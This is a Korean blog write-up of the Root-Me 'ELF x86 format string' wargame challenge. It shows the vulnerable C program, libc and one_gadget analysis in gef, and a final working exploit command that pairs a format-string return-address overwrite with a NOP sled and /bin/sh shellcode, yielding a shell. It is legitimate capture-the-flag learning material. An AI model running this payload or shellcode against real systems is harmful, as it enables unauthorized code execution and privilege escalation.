1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char ** argv)
{
// char log_file = "/var/log/bin_error.log";
char outbuf[512];
char buffer[512];
char user[12];
char *username = "root-me";
// FILE *fp_log = fopen(log_file, "a");
printf("Username: ");
fgets(user, sizeof(user), stdin);
user[strlen(user) - 1] = '\0';
if (strcmp(user, username)) {
sprintf (buffer, "ERR Wrong user: %400s", user);
sprintf (outbuf, buffer);
// fprintf (fp_log, "%s\n", outbuf);
printf("Bad username: %s\n", user);
}
else {
printf("Hello %s ! How are you ?\n", user);
}
// fclose(fp_log);
return 0;
}
2.2. 분석
fgets 함수로 user 변수의 크기만큼 문자열을 받는다.
이후 끝에 \0을 넣고, 이를 username과 비교한 다음 다르면 이를 outbuf에 복사하고 출력한 뒤 종료한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
sprintf(outbuf, buffer)에서 format string bug가 발생한다.
3.2. 공격 준비
user 변수에 삽입 가능한 문자열 크기가 12 bytes 밖에 되지 않기에 많은 데이터 조작은 불가하다.
그래서 그나마 최소화할 수 있는 onegadget을 사용하려 계획하였다.
우선 ldd 명령어를 통해 문제 파일의 libc 파일을 확인하고 offset을 확인한 뒤 로컬에 libc 파일을 다운로드하였다.
app-systeme-ch17@challenge02:~$ ldd ch17
linux-gate.so.1 (0xb7fd7000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7deb000)
/lib/ld-linux.so.2 (0xb7fd8000)
app-systeme-ch17@challenge02:~$ gef /lib/i386-linux-gnu/libc.so.6
Reading symbols from /lib/i386-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/i386-linux-gnu/libc-2.27.so...done.
done.
GEF for linux ready, type `gef' to start, `gef config' to configure
96 commands loaded for GDB 8.1.1 using Python engine 3.6
gef➤ p system
$1 = {int (const char *)} 0x3d3d0 <__libc_system>
gef➤ p read
$2 = {ssize_t (int, void *, size_t)} 0xe6e40 <__GI___libc_read>
gef➤ p write
$3 = {ssize_t (int, const void *, size_t)} 0xe6f10 <__GI___libc_write>
https://libc.rip/download/libc6_2.27-3ubuntu1.5_i386.so
이후 onegadget을 통해 offset 확인.
┌──(kali㉿kali)-[~/Downloads]
└─$ one_gadget ./libc6_2.27-3ubuntu1.5_i386.so
0x3d2a3 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x3d2a5 execve("/bin/sh", esp+0x38, environ)
constraints:
esi is the GOT address of libc
[esp+0x38] == NULL
0x3d2a9 execve("/bin/sh", esp+0x3c, environ)
constraints:
esi is the GOT address of libc
[esp+0x3c] == NULL
0x3d2b0 execve("/bin/sh", esp+0x40, environ)
constraints:
esi is the GOT address of libc
[esp+0x40] == NULL
0x67ccf execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x67cd0 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
0x137eee execl("/bin/sh", eax)
constraints:
ebx is the GOT address of libc
eax == NULL
0x137eef execl("/bin/sh", [esp])
constraints:
ebx is the GOT address of libc
[esp] == NULL
문제 환경에서 ASLR이 걸려있지 않아 memory leak은 불필요하다.
libc base address는 아래와 같기에
gef➤ vmmap
...
0xb7deb000 0xb7fc0000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.27.so
...
onegadget 주소를 더해 그곳으로 return 하면 될 것이다.
그리고 문제 파일의 ret address와 ebp+8의 주소를 확인해두었다.
0xbffffb3c│+0x0000: 0xb7e03fa1
우선 임의의 값을 삽입해보았는데,
gef➤ r <<< $(python -c 'print "\x3c\xfb\xff\xbf" + "%hn"')
Starting program: /challenge/app-systeme/ch17/ch17 <<< $(python -c 'print "\x3c\xfb\xff\xbf" + "%hn"')
Username: Bad username: <���%hn
...
───────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xbffffb3c│+0x0000: 0xb7e0019d → 0x02000200 ← $esp
...
예상대로 값이 삽입되었다.
다만, stack의 값들을 보니 아래와 같이 %400s에 의해 수많은 0x20이 삽입된 것을 볼 수 있었다.
gef➤ x/100wx $esp
0xbffff734: 0x41414141 0x41414141 0x00004141 0x20525245
0xbffff744: 0x6e6f7257 0x73752067 0x203a7265 0x20202020
0xbffff754: 0x20202020 0x20202020 0x20202020 0x20202020
0xbffff764: 0x20202020 0x20202020 0x20202020 0x20202020
0xbffff774: 0x20202020 0x20202020 0x20202020 0x20202020
...
그렇다면 굳이 %n을 통한 값 overwrite가 아니라 그냥 %c를 통해 추가로 공백을 확보할 수 있지 않을까 해서 시도해보았는데, 잘 삽입되는 것을 볼 수 있었다.
gef➤ r
Starting program: /challenge/app-systeme/ch17/ch17
Username: AAAA
Bad username: AAAA
...
Breakpoint 2, 0x080485e6 in main ()
gef➤ x/400gx $esp
0xbffff734: 0xbfff000041414141 0x20525245bffff788
...
0xbffffad4: 0x2020202020202020 0x0000000041414141
gef➤ r
Starting program: /challenge/app-systeme/ch17/ch17
Username: %100cAAAA
Bad username: %100cAAAA
Breakpoint 2, 0x080485e6 in main ()
gef➤ x/400gx $esp
0xbffff734: 0x4141416330303125 0x20525245bf000041
...
0xbffffb34: 0x4125202020202020 0x0804867000414141
대략 offset을 확인해서 원하는 주소를 삽입하면 되겠다.
4. exploit
위와 같이 시나리오 구성 후 onegadget 주소로 return 하였는데, 자꾸 반응이 없다.
혹시나 하여 말미에 ;cat을 통한 파이프를 살려보았는데도 onegadget으로는 안된다.
그래서 문제의 코드에 main 함수가 인자를 받는 것을 이용해서 인자로 넘긴 후 해당 위치로 return 하도록 시나리오를 변경하였다.
app-systeme-ch17@challenge02:~$ (python -c 'print "%117c" + "\xbc\xfc\xff\xbf"';cat) | ./ch17 `python -c 'print "\x90"*1000 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
Username: Bad username: %117c����
id
uid=1217(app-systeme-ch17-cracked) gid=1117(app-systeme-ch17) groups=1117(app-systeme-ch17),100(users)
cat .passwd
#----------플래그는 삭제
본 글의 포스팅 날짜를 보면 7월 13일인데 사실 이 글은 10월 말에 쓰고 있다.
그 때 안풀려서 처박아두었던 것을 3개월이 지나서야 풀었다.......
이렇게 쉬운데 왜 그땐 생각이 나질 않았는지 ㅠㅠ
'Wargame > Root me' 카테고리의 다른 글
[Cracking] ELF x86 - 0 protection (0) | 2022.07.15 |
---|---|
[App-Script] Bash - System 1 (0) | 2022.07.15 |
[App-System] ELF x86 - Stack buffer overflow basic 6 (0) | 2022.07.12 |
[App-System] ELF x86 - Stack buffer overflow basic 4 (0) | 2022.07.11 |
[App-System] ELF x64 - Double free (0) | 2022.07.09 |